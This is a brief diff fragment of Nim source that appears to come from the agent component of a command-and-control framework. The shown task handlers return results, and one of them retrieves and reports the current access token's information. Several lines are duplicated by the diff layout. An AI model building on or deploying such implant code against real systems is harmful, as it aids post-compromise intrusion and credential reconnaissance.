return createTaskResult(task, STATUS_FAILED, RESULT_NO_OUTPUT, @[])
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
except CatchableError as err: except CatchableError as err:
@@ -120,7 +118,6 @@ when defined(agent):
proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult = proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult =
try: try:
echo fmt" [>] Retrieving token information." echo fmt" [>] Retrieving token information."
let tokenInfo = getCurrentToken().getTokenInfo() let tokenInfo = getCurrentToken().getTokenInfo()
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(tokenInfo)) return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(tokenInfo))